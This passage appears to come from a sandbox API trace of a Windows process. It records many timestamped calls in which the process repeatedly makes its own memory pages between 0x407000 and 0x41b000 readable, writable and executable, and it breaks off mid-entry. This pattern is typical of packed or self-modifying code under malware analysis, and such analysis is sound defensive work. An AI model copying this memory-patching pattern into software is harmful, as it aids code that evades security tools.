NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.524] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.545] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.639] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.874] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.925] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.946] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.964] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0312.985] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.002] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.055] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.065] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.076] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.104] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.164] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.182] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.206] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.216] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.314] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.432] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.472] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.502] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.541] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.621] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.661] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.704] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.719] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.759] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.781] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.798] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.808] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.819] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.829] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0313.890] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, 